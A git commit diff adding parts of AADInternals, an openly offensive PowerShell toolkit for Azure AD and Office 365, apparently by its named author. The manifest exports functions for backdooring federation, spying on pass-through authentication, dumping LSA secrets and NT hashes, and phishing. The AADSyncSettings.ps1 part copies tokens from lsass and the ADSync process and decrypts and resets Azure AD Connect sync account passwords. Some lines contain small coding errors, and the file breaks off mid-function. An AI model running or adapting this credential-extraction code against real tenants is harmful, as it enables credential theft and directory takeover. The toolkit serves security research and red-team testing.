This commit is contained in:
Nestori
2022-10-17 14:34:35 +03:00
parent 25ee6233a3
commit 9cc2a36732
1200 changed files with 55464 additions and 114584 deletions
BIN
View File
Binary file not shown.
+539
View File
@@ -0,0 +1,539 @@
@{
# Script module or binary module file associated with this manifest.
RootModule = 'AADInternals.psm1'
# Version number of this module.
ModuleVersion = '0.7.4'
# Supported PSEditions
# CompatiblePSEditions = @()
# ID used to uniquely identify this module
GUID = 'eebccc08-baea-4ac4-9e05-67d16d43e8b1'
# Author of this module
Author = 'Dr Nestori Syynimaa'
# Company or vendor of this module
CompanyName = 'Gerenios Ltd'
# Copyright statement for this module
Copyright = '(c) 2018 - 2022 Nestori Syynimaa (@DrAzureAD). Distributed under MIT license.'
# Description of the functionality provided by this module
Description = 'The AADInternals PowerShell Module utilises several internal features of Azure Active Directory, Office 365, and related admin tools.
AADInternals allows you to export ADFS certificates, Azure AD Connect passwords, and modify numerous Azure AD / Office 365 settings not otherwise possible.
DISCLAIMER: Functionality provided through this module are not supported by Microsoft and thus should not be used in a production environment. Use on your own risk!
'
# Minimum version of the Windows PowerShell engine required by this module
# PowerShellVersion = ''
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only.
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = @()
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
NestedModules = @(
".\AADSyncSettings.ps1"
".\AccessToken.ps1"
".\AccessToken_utils.ps1"
".\ActiveSync.ps1"
".\ActiveSync_utils.ps1"
".\ADFS.ps1"
".\ADFS_utils.ps1"
".\AD_utils.ps1"
".\AdminAPI.ps1"
".\AdminAPI_utils.ps1"
".\AMQP.ps1"
".\AzureADConnectAPI.ps1"
".\AzureADConnectAPI_utils.ps1"
".\AzureCoreManagement.ps1"
".\AzureManagementAPI.ps1"
".\AzureManagementAPI_utils.ps1"
".\CBA.ps1"
".\ClientTools.ps1"
".\CloudShell.ps1"
".\CloudShell_utils.ps1"
".\CommonUtils.ps1"
".\ComplianceAPI.ps1"
".\ComplianceAPI_utils.ps1"
".\Device.ps1"
".\Device_utils.ps1"
".\DRS_Utils.ps1"
".\FederatedIdentityTools.ps1"
".\GraphAPI.ps1"
".\GraphAPI_utils.ps1"
".\HybridHealthServices.ps1"
".\HybridHealthServices_utils.ps1"
".\IPUtils.ps1"
".\Kerberos.ps1"
".\Kerberos_utils.ps1"
".\KillChain.ps1"
".\KillChain_utils.ps1"
".\md4.ps1"
".\MDM.ps1"
".\MDM_utils.ps1"
".\MFA.ps1"
".\MFA_utils.ps1"
".\MSAppProxy.ps1"
".\MSAppProxy_utils.ps1"
".\MSCommerce.ps1"
".\MSPartner.ps1"
".\MSPartner_utils.ps1"
".\MSGraphAPI.ps1"
".\MSGraphAPI_utils.ps1"
".\OfficeApps.ps1"
".\OneDrive.ps1"
".\OneDrive_utils.ps1"
".\OneNote.ps1"
".\OutlookAPI.ps1"
".\OutlookAPI_utils.ps1"
".\ProcessTools.ps1"
".\ProvisioningAPI.ps1"
".\ProvisioningAPI_utils.ps1"
".\ProxySettings.ps1"
".\PRT.ps1"
".\PRT_Utils.ps1"
".\PSRP.ps1"
".\PSRP_utils.ps1"
".\PTA.ps1"
".\PTASpy.ps1"
".\SARA.ps1"
".\SARA_utils.ps1"
".\SPO.ps1"
".\SPO_utils.ps1"
".\SQLite.ps1"
".\SyncAgent.ps1"
".\Teams.ps1"
".\Teams_utils.ps1"
".\WBAWeaponiser.ps1"
)
# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export.
FunctionsToExport = @(
# ADFS.ps1
"Export-ADFSCertificates"
"Export-ADFSConfiguration"
"Export-ADFSEncryptionKey"
"Set-ADFSConfiguration"
"Get-ADFSPolicyStoreRules"
"Set-ADFSPolicyStoreRules"
"Unprotect-ADFSRefreshToken"
"New-ADFSRefreshToken"
# ADFS_utils.ps1
"New-ADFSSelfSignedCertificates"
"Restore-ADFSAutoRollover"
"Update-ADFSFederationSettings"
"Get-ADFSConfiguration"
# AccessToken.ps1
"Get-AccessToken"
"Get-AccessTokenWithRefreshToken"
"Get-AccessTokenForAADGraph"
"Get-AccessTokenForMSGraph"
"Get-AccessTokenForPTA"
"Get-AccessTokenForEXO"
"Get-AccessTokenForSARA"
"Get-AccessTokenForOneDrive"
"Get-AccessTokenForOfficeApps"
"Get-AccessTokenForAzureCoreManagement"
"Get-AccessTokenForSPO"
"Get-AccessTokenForMySignins"
"Get-AccessTokenForAADJoin"
"Get-AccessTokenForIntuneMDM"
"Get-AccessTokenForCloudShell"
"Get-AccessTokenForTeams"
"Get-AccessTokenForMSCommerce"
"Get-AccessTokenForMSPartner"
"Get-AccessTokenForAdmin"
"Get-AccessTokenForOneNote"
"Unprotect-EstsAuthPersistentCookie"
# AccessToken_utils.ps1
"Get-LoginInformation"
"Read-AccessToken"
"Get-EndpointInstances"
"Get-EndpointIps"
"Get-OpenIDConfiguration"
"Get-TenantId"
"Get-TenantDomains"
"Get-Cache"
"Clear-Cache"
"Add-AccessTokenToCache"
"Export-TeamsTokens"
"Export-AzureCliTokens"
# GraphAPI.ps1
"Get-TenantDetails"
"Get-Devices"
"Get-UserDetails"
"Get-ServicePrincipals"
"Get-ConditionalAccessPolicies"
# ProvisioningAPI.ps1
"Set-DomainAuthentication"
"Get-CompanyInformation"
"Get-SPOServiceInformation"
"Get-ServiceLocations"
"Get-CompanyTags"
"Get-ServicePlans"
"Get-Subscriptions"
"Get-Users"
"Get-User"
"Remove-User"
"New-User" # TODO: remove unused parameters
"Set-User" # TODO: remove unused parameters
"Get-GlobalAdmins"
"New-Domain" # TODO: remove unused parameters
"Set-ADSyncEnabled"
"Get-MSPartnerContracts"
#FederatedIdentityTools.ps1
"New-SAMLToken"
"New-SAML2Token"
"Get-ImmutableID"
"ConvertTo-Backdoor"
"New-Backdoor"
"Open-Office365Portal"
# AzureADConnectAPI.ps1
"Get-SyncConfiguration"
"Set-AzureADObject"
"Remove-AzureADObject"
"Get-SyncObjects"
"Set-UserPassword"
"Reset-ServiceAccount"
"Set-PassThroughAuthenticationEnabled"
#"Set-PasswordHashSyncEnabled"
"Set-SyncFeatures"
"Get-SyncFeatures"
"Set-DesktopSSOEnabled"
"Get-DesktopSSO"
"Set-DesktopSSO"
"Get-KerberosDomainSyncConfig"
"Get-WindowsCredentialsSyncConfig"
"Get-SyncDeviceConfiguration"
"Join-OnPremDeviceToAzureAD"
# AzureManagementAPI_utils.ps1
"Get-AccessTokenForAADIAMAPI"
"Get-AccessTokenForAzureMgmtAPI"
# AzureManagementAPI.ps1
"New-GuestInvitation"
"Get-AzureInformation"
"Get-AADConnectStatus"
# ActiveSync.ps1
"Get-EASAutoDiscover"
"Get-EASAutoDiscoverV1"
"Get-EASOptions"
"Send-EASMessage"
"Add-EASDevice"
"Set-EASSettings"
# OutlookAPI.ps1
"Send-OutlookMessage"
"Open-OWA"
# PSRP.ps1
"Get-MobileDevices"
"Get-UnifiedAuditLogSettings"
"Set-UnifiedAuditLogSettings"
# AADSyncSettings.ps1
"Get-SyncCredentials"
"Update-SyncCredentials"
"Get-SyncEncryptionKeyInfo"
"Get-SyncEncryptionKey"
# PTASpy.ps1
"Install-PTASpy"
"Remove-PTASpy"
"Get-PTASpyLog"
# ClientTools.ps1
"Get-OfficeUpdateBranch"
"Set-OfficeUpdateBranch"
# SARA.ps1
"Get-SARAUserInfo"
"Get-SARATenantInfo"
# SPO_utils.ps1
"Get-SPOAuthenticationHeader"
# SPO.ps1
"Get-SPOSiteUsers"
"Get-SPOSiteGroups"
"Get-SPOUserProperties"
"Set-SPOSiteMembers"
# Kerberos.ps1
"New-KerberosTicket"
# PTA.ps1
"Register-PTAAgent"
"Set-PTACertificate"
# OneDrive_utils.ps1
"New-OneDriveSettings"
# OneDrive.ps1
"Get-OneDriveFiles"
"Send-OneDriveFile"
# MFA.ps1
"Get-UserMFA"
"Set-UserMFA"
"New-OTP"
"New-OTPSecret"
"Get-UserMFAApps"
"Set-UserMFAApps"
"Register-MFAApp"
# SyncAgent.ps1
"Register-SyncAgent"
# MSAppProxy_utils.ps1
"Get-ProxyAgents"
"Get-ProxyAgentGroups"
"Export-ProxyAgentCertificates"
# AD_Utils.ps1
"Get-DPAPIKeys"
"Get-LSASecrets"
"Get-LSABackupKeys"
"Get-UserMasterkeys"
"Get-LocalUserCredentials"
"Get-SystemMasterkeys"
# AzureCoreManagement.ps1
"Get-AzureClassicAdministrators"
"Grant-AzureUserAccessAdminRole"
"Get-AzureSubscriptions"
"Set-AzureRoleAssignment"
"Get-AzureResourceGroups"
"Get-AzureVMs"
"Invoke-AzureVMScript"
"Get-AzureVMRdpSettings"
"Get-AzureTenants"
"Get-AzureDiagnosticSettingsDetails"
"Set-AzureDiagnosticSettingsDetails"
"Get-AzureDiagnosticSettings"
"Remove-AzureDiagnosticSettings"
"Get-AzureDirectoryActivityLog"
# MSGraphAPI.ps1
"Get-AzureSignInLog"
"Get-AzureAuditLog"
"Get-TenantAuthPolicy"
"Get-TenantGuestAccess"
"Set-TenantGuestAccess"
"Enable-TenantMsolAccess"
"Disable-TenantMsolAccess"
"Get-RolloutPolicies"
"Get-RolloutPolicyGroups"
"Add-RolloutPolicyGroups"
"Remove-RolloutPolicyGroups"
"Remove-RolloutPolicy"
"Set-RolloutPolicy"
"Get-TenantDomain"
# KillChain.ps1
"Invoke-UserEnumerationAsOutsider"
"Invoke-ReconAsOutsider"
"Invoke-ReconAsGuest"
"Invoke-UserEnumerationAsGuest"
"Invoke-ReconAsInsider"
"Invoke-UserEnumerationAsInsider"
"Invoke-Phishing"
# WBAWeaponiser.ps1
"New-InvitationVBA"
# PRT.ps1
"Get-UserPRTToken"
"Get-UserPRTKeys"
"New-UserPRTToken"
"Join-DeviceToAzureAD"
"New-P2PDeviceCertificate"
"Remove-DeviceFromAzureAD"
"Get-DeviceRegAuthMethods"
"Set-DeviceRegAuthMethods"
"Get-DeviceTransportKey"
"Set-DeviceTransportKey"
"New-BulkPRTToken"
# MDM.ps1
"Join-DeviceToIntune"
"Start-DeviceIntuneCallback"
"Set-DeviceCompliant"
"Get-DeviceCompliance"
# CloudShell.ps1
"Start-CloudShell"
# CommonUtils.ps1
"Get-Error"
"New-Certificate"
"Get-AzureWireServerAddress"
# Teams.ps1
"Get-SkypeToken"
"Set-TeamsAvailability"
"Set-TeamsStatusMessage"
"Search-TeamsUser"
"Send-TeamsMessage"
"Get-TeamsMessages"
"Remove-TeamsMessages"
"Set-TeamsMessageEmotion"
"Find-TeamsExternalUser"
"Get-TeamsAvailability"
"Get-Translation"
# Teams_utils.ps1
"Get-TeamsUserSettings"
# DRS_Utils.ps1
"Get-ADUserNTHash"
"Get-ADUserThumbnailPhoto"
"Get-DesktopSSOAccountPassword"
# HybridHealthServices.ps1
"New-HybridHealthService"
"Get-HybridHealthServices"
"Remove-HybridHealthService"
"Get-HybridHealthServiceMembers"
"New-HybridHealthServiceMember"
"Remove-HybridHealthServiceMember"
"Get-HybridHealthServiceMonitoringPolicies"
"Send-HybridHealthServiceEvents"
"Register-HybridHealthServiceAgent"
# HybridHealthServices_utils.ps1
"New-HybridHealtServiceEvent"
"Get-HybridHealthServiceAgentInfo"
# MSCommerce.ps1
"Get-SelfServicePurchaseProducts"
"Set-SelfServicePurchaseProduct"
# ComplianceAPI.ps1
"Get-ComplianceAPICookies"
"Search-UnifiedAuditLog"
# MSPartner.ps1
"New-MSPartnerDelegatedAdminRequest"
#"New-MSPartnerTrialOffer"
#"Get-MSPartnerOffers"
#"Get-MSPartnerPublishers"
"Get-MSPartnerOrganizations"
"Get-MSPartnerRoleMembers"
"Find-MSPartners"
# AdminAPI.ps1
"Approve-MSPartnerDelegatedAdminRequest"
"Remove-MSPartnerDelegatedAdminRoles"
"Get-MSPartners"
"Get-TenantOrganisationInformation"
# Device.ps1
"Export-LocalDeviceCertificate"
"Export-LocalDeviceTransportKey"
"Join-LocalDeviceToAzureAD"
"Get-LocalDeviceJoinInfo"
# ProxySettings.ps1
"Set-ProxySettings"
# OneNote.ps1
"Start-Speech"
# CBA.ps1
"Get-AdminPortalAccessTokenUsingCBA"
"Get-PortalAccessTokenUsingCBA"
)
# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export.
CmdletsToExport = @()
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export.
AliasesToExport = @()
# DSC resources to export from this module
# DscResourcesToExport = @()
# List of all modules packaged with this module
# ModuleList = @()
# List of all files packaged with this module
# FileList = @()
# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell.
PrivateData = @{
PSData = @{
# Tags applied to this module. These help with module discovery in online galleries.
Tags = @('Office365','Microsoft365','Azure','AAD','Security')
# A URL to the license for this module.
# LicenseUri = ''
# A URL to the main website for this project.
ProjectURI = 'https://o365blog.com/aadinternals'
# A URL to an icon representing this module.
# IconUri = ''
# ReleaseNotes of this module
# ReleaseNotes = ''
} # End of PSData hashtable
} # End of PrivateData hashtable
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
DefaultCommandPrefix = 'AADInt'
}
+27
View File
@@ -0,0 +1,27 @@
# Add some assemblies
Add-type -AssemblyName System.xml.linq -ErrorAction SilentlyContinue
Add-Type -AssemblyName System.Runtime.Serialization -ErrorAction SilentlyContinue
Add-Type -AssemblyName System.Windows.Forms -ErrorAction SilentlyContinue
Add-Type -AssemblyName System.Web -ErrorAction SilentlyContinue
Add-Type -AssemblyName System.Web.Extensions -ErrorAction SilentlyContinue
Add-Type -path "$PSScriptRoot\BouncyCastle.Crypto.dll" -ErrorAction SilentlyContinue
# Set supported TLS methods
[Net.ServicePointManager]::SecurityProtocol = "Tls, Tls11, Tls12, Ssl3"
# Print the welcome message
$manifest = Import-PowerShellDataFile "$PSScriptRoot\AADInternals.psd1"
$version = $manifest.ModuleVersion
$host.ui.RawUI.WindowTitle="AADInternals $version"
$logo=@"
___ ___ ____ ____ __ __
/ | / | / __ \/ _/___ / /____ _________ ____ _/ /____
/ /| | / /| | / / / // // __ \/ __/ _ \/ ___/ __ \/ __ ``/ / ___/
/ ___ |/ ___ |/ /_/ _/ // / / / /_/ __/ / / / / / /_/ / (__ )
/_/ |_/_/ |_/_____/___/_/ /_/\__/\___/_/ /_/ /_/\__,_/_/____/
v$version by @DrAzureAD (Nestori Syynimaa)
"@
Write-Host $logo -ForegroundColor Yellow
+801
View File
@@ -0,0 +1,801 @@
# This module contains functions to extract and update AADConnect sync credentials
# Print the loading message here as this is the first .ps1 to be loaded :)
Write-Host "Loading module.."
# Oct 29th 2019
function Check-Server
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$true)]
[bool]$AsADSync,
[Parameter(Mandatory=$true)]
[bool]$force
)
process
{
# Check that we are on AADConnect server and that the service is running
if($force -ne $true -and (($adSyncService = Get-Service ADSync -ErrorAction SilentlyContinue) -eq $null -or $adSyncService.Status -ne "Running"))
{
Write-Error "This command needs to be run on a computer with ADSync running!"
return $false
}
# Add the encryption reference (should always be there)
$ADSyncLocation = (Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\AD Sync").Location
Add-Type -path "$ADSyncLocation\Bin\mcrypt.dll"
$ADSyncUser=""
$CurrentUser = "{0}\{1}" -f $env:USERDOMAIN,$env:USERNAME
# Check the version number: since 1.4.xx.xx uses DPAPI instead of registry to store the keyset
try
{
$serviceWMI = Get-WmiObject Win32_Service -Filter "Name='ADSync'" -ErrorAction SilentlyContinue
$ADSyncUser= $serviceWMI.StartName
$ver= ($serviceWMI.PathName.Split('"')[1] | Get-Item).VersionInfo.FileVersion
$ver2=$ver.split('.')
if($force -ne $true -and $ver2[0] -eq 1 -and $ver2[1] -ge 4 -and !$AsADSync)
{
Write-Warning "ADSync passwords can be read or modified as local administrator only for ADSync version 1.3.xx.xx!"
Write-Warning "The current version is $ver and access to passwords requires running as ADSync ($ADSyncUser)."
Write-Warning "Use the -AsADSync $true parameter to try again!"
return $false
}
}
catch
{
Write-Verbose "Could not get WMI info, probably already running as ADSync so skipping the ""elevation"""
$AsADSync = $false
}
# Elevate the current thread by copying the token from ADSync service
if($AsADSync)
{
# First we need to get connection once to the DB to get token.
# If done after "elevating" to ADSync, all SQL connections to configuration database will fail.
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLclient.Close()
try
{
# Copy the tokens from lsass and miiserver (ADSync) processes
Write-Verbose "Trying to ""elevate"" by copying token from lsass and then miiserver (ADSync) processes"
$elevation = [AADInternals.Native]::copyLsassToken() -and [AADInternals.Native]::copyADSyncToken()
}
catch
{
$elevation = $false
}
if($elevation)
{
Write-Verbose """Elevation"" to ADSync succeeded!"
Write-Warning "Running as ADSync ($ADSyncUser). You MUST restart PowerShell to restore $CurrentUser rights."
}
else
{
Write-Error "Could not change to $ADSyncUser. MUST be run as administrator!"
}
}
}
}
# May 15th 2019
function Get-SyncCredentials
{
<#
.SYNOPSIS
Gets Azure AD Connect synchronization credentials
.Description
Extracts Azure Active Directory Connect crecentials from WID configuration database. MUST be run on AADConnect server
as local administrator
.Example
Get-AADIntSyncCredentials
Name Value
---- -----
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword $.1%(lxZ&/kNZz[r
ADDomain1 company.com
ADUser1 MSOL_4bc4a34e95fa
ADUserPassword1 Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
ADDomain2 business.net
ADUser2 MSOL_4bc4a34e95fa
ADUserPassword2 cE/Pj+4/MR6hW)2L_4P=H^hiq)pZhMb...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$false)]
[bool]$AsADSync=$true,
#[Parameter(Mandatory=$false)]
#[switch]$AsCredentials,
[Parameter(Mandatory=$false)]
[switch]$force
)
Process
{
# Do the checks
if((Check-Server -AsADSync $AsADSync -force $force) -eq $false)
{
return
}
# Read the encrypt/decrypt key settings
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$key_id = $SQLreader.GetInt32(0)
$instance_id = $SQLreader.GetGuid(1)
$entropy = $SQLreader.GetGuid(2)
$SQLreader.Close()
# Read the AD configuration data
$ADConfigs=@()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$SQLreader = $SQLcmd.ExecuteReader()
while($SQLreader.Read())
{
$ADConfig = $SQLreader.GetString(0)
$ADCryptedConfig = $SQLreader.GetString(1)
$ADConfigs += New-Object -TypeName psobject -Property @{"ADConfig" = $ADConfig; "ADCryptedConfig" = $ADCryptedConfig}
}
$SQLreader.Close()
# Read the AAD configuration data
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$AADConfig = $SQLreader.GetString(0)
$AADCryptedConfig = $SQLreader.GetString(1)
$SQLreader.Close()
$SQLclient.Close()
# Extract the data
$attributes=[ordered]@{}
$attributes["AADUser"]=([xml]$AADConfig).MAConfig.'parameter-values'.parameter[0].'#text'
$attributes["AADUserPassword"]=""
try
{
# Decrypt config data
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$KeyMgr.GetActiveCredentialKey([ref]$key)
$key2 = $null
$KeyMgr.GetKey(1, [ref]$key2)
# Extract the encrypted data
$n=1
foreach($ADConfig in $ADConfigs)
{
$ADDecryptedConfig = $null
$key2.DecryptBase64ToString($ADConfig.ADCryptedConfig, [ref]$ADDecryptedConfig)
$attributes["ADDomain$n" ]=([xml]$ADConfig.ADConfig).'adma-configuration'.'forest-login-domain'
$attributes["ADUser$n" ]=([xml]$ADConfig.ADConfig).'adma-configuration'.'forest-login-user'
$attributes["ADUserPassword$n"]=([xml]$ADDecryptedConfig).'encrypted-attributes'.attribute.'#text'
$n++
}
$AADDecryptedConfig = $null
$key2.DecryptBase64ToString($AADCryptedConfig, [ref]$AADDecryptedConfig)
$attributes["AADUserPassword"]=([xml]$AADDecryptedConfig).'encrypted-attributes'.attribute | Where name -eq "Password" | Select -ExpandProperty "#text"
}
catch
{
Write-Error "Could not load key set!"
}
# Return
#if($AsCredentials)
#{
# $adCreds = New-Object System.Management.Automation.PSCredential($attributes["ADUser"], (ConvertTo-SecureString $attributes["ADUserPassword"] -AsPlainText -Force))
# $aadCreds = New-Object System.Management.Automation.PSCredential($attributes["AADUser"], (ConvertTo-SecureString $attributes["AADUserPassword"] -AsPlainText -Force))
#
# return @($adCreds, $aadCreds)
#}
#else
#{
return New-Object -TypeName PSObject -Property $attributes
#}
}
}
# May 16th 2019
function Update-SyncCredentials
{
<#
.SYNOPSIS
Updates Azure AD Connect synchronization credentials
.Description
Updates Azure Active Directory Connect user's password to Azure AD and WID configuration database. MUST be run on AADConnect server
as local administrator with Global Admin credentials to Azure AD
.Example
Update-AADIntSyncCredentials
Password successfully updated to Azure AD and configuration database!
Remember to restart the sync service: Restart-Service ADSync
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword $.1%(lxZ&/kNZz[r
.Example
Update-AADIntSyncCredentials -RestartADSyncService
Password successfully updated to Azure AD and configuration database!
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Q9@p(poz{#:kF_G)(s/Iy@8c*9(t;...
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword $.1%(lxZ&/kNZz[r
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Switch]$RestartADSyncService,
[Parameter(Mandatory=$false)]
[bool]$AsADSync=$true,
[Parameter(Mandatory=$false)]
[switch]$force
)
Process
{
# Do the checks
if((Check-Server -AsADSync $AsADSync -force $force) -eq $false)
{
return
}
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
if([String]::IsNullOrEmpty($AccessToken))
{
Write-Error "No AccessToken provided!"
return
}
# Admin user
$AdminUser = (Read-Accesstoken -AccessToken $at).upn
# Get the current configuration
$SyncCreds = Get-SyncCredentials -force
$SyncUser = ($SyncCreds.AADUser.Split("@")[0])
Write-Verbose "Updating password for $SyncUser as $AdminUser"
# Reset the account password in AzureAD
$NewPassword = (Reset-ServiceAccount -AccessToken $AccessToken -ServiceAccount $SyncUser).Password
# Escaping password for xml
$NewPassword = [System.Security.SecurityElement]::Escape($NewPassword)
if([String]::IsNullOrEmpty($NewPassword))
{
Write-Error "Password for user $SyncCreds could not be reset to Azure AD"
return
}
# Create a new config
$ADDecryptedConfig=@"
<encrypted-attributes>
<attribute name="Password">$NewPassword</attribute>
</encrypted-attributes>
"@
# Read the encrypt/decrypt key settings
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$key_id = $SQLreader.GetInt32(0)
$instance_id = $SQLreader.GetGuid(1)
$entropy = $SQLreader.GetGuid(2)
$SQLreader.Close()
# Load keys
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$KeyMgr.GetActiveCredentialKey([ref]$key)
$key2 = $null
$KeyMgr.GetKey(1, [ref]$key2)
# Encrypt
$AADCryptedConfig = $null
$key2.EncryptStringToBase64($ADDecryptedConfig,[ref]$AADCryptedConfig)
# Write the updated AAD password
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "UPDATE mms_management_agent SET encrypted_configuration=@pwd WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
$SQLcmd.Parameters.AddWithValue("@pwd",$AADCryptedConfig) | Out-Null
$UpdatedRows = $SQLcmd.ExecuteNonQuery()
$SQLclient.Close()
if($UpdatedRows -ne 1)
{
Write-Error "Updated $UpdatedRows while should update 1. Could be error"
return
}
Write-Host "Password successfully updated to Azure AD and configuration database!"
# Return
Get-SyncCredentials -force
# Restart the ADSync service if requested
if($RestartADSyncService)
{
Restart-Service ADSync
}
else
{
Write-Host "Remember to restart the sync service: Restart-Service ADSync" -ForegroundColor Yellow
}
}
}
# May 17th 2019
function Set-ADSyncAccountPassword
{
<#
.SYNOPSIS
Sets the password of ADSync service account
.Description
Sets the password of ADSync service account to AD and WID configuration database. MUST be run on AADConnect server
as domain administrator.
.Example
Set-AADIntADSyncAccountPassword -NewPassword 'Pa$$w0rd'
Password successfully updated to AD and configuration database!
Remember to restart the sync service: Restart-Service ADSync
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Pa$$w0rd
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword $.1%(lxZ&/kNZz[r
.Example
Set-AADIntADSyncAccountPassword -NewPassword 'Pa$$w0rd' -RestartADSyncService
Password successfully updated to AD and configuration database!
Name Value
---- -----
ADDomain company.com
ADUser MSOL_4bc4a34e95fa
ADUserPassword Pa$$w0rd
AADUser Sync_SRV01_4bc4a34e95fa@company.onmicrosoft.com
AADUserPassword $.1%(lxZ&/kNZz[r
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to stop...
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$NewPassword,
[Switch]$RestartADSyncService,
[Parameter(Mandatory=$false)]
[bool]$AsADSync=$true,
[Parameter(Mandatory=$false)]
[switch]$force
)
Process
{
# Do the checks
if((Check-Server -AsADSync $AsADSync -force $force) -eq $false)
{
return
}
# Add the encryption reference (should always be there)
Add-Type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll
# Get the current configuration
$SyncCreds = Get-SyncCredentials -force
$SyncUser = $SyncCreds.ADUser
Write-Verbose "Updating password for $SyncUser"
# Reset the account password in AD
try
{
Set-ADAccountPassword -Identity $SyncUser -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $NewPassword -Force)
}
catch
{
# There might be complexity etc. requirements
throw $_
return
}
# Escaping password for xml
$NewPassword = [System.Security.SecurityElement]::Escape($NewPassword)
# Create a new config
$ADDecryptedConfig=@"
<encrypted-attributes>
<attribute name="Password">$NewPassword</attribute>
</encrypted-attributes>
"@
# Read the encrypt/decrypt key settings
$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList (Get-AADConfigDbConnection)
$SQLclient.Open()
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$SQLreader = $SQLcmd.ExecuteReader()
$SQLreader.Read() | Out-Null
$key_id = $SQLreader.GetInt32(0)
$instance_id = $SQLreader.GetGuid(1)
$entropy = $SQLreader.GetGuid(2)
$SQLreader.Close()
# Load keys
$KeyMgr = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$KeyMgr.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$KeyMgr.GetActiveCredentialKey([ref]$key)
$key2 = $null
$KeyMgr.GetKey(1, [ref]$key2)
# Encrypt
$ADCryptedConfig = $null
$key2.EncryptStringToBase64($ADDecryptedConfig,[ref]$ADCryptedConfig)
# Write the updated AA password
$SQLcmd = $SQLclient.CreateCommand()
$SQLcmd.CommandText = "UPDATE mms_management_agent SET encrypted_configuration=@pwd WHERE ma_type = 'AD'"
$SQLcmd.Parameters.AddWithValue("@pwd",$ADCryptedConfig) | Out-Null
$UpdatedRows = $SQLcmd.ExecuteNonQuery()
$SQLclient.Close()
if($UpdatedRows -ne 1)
{
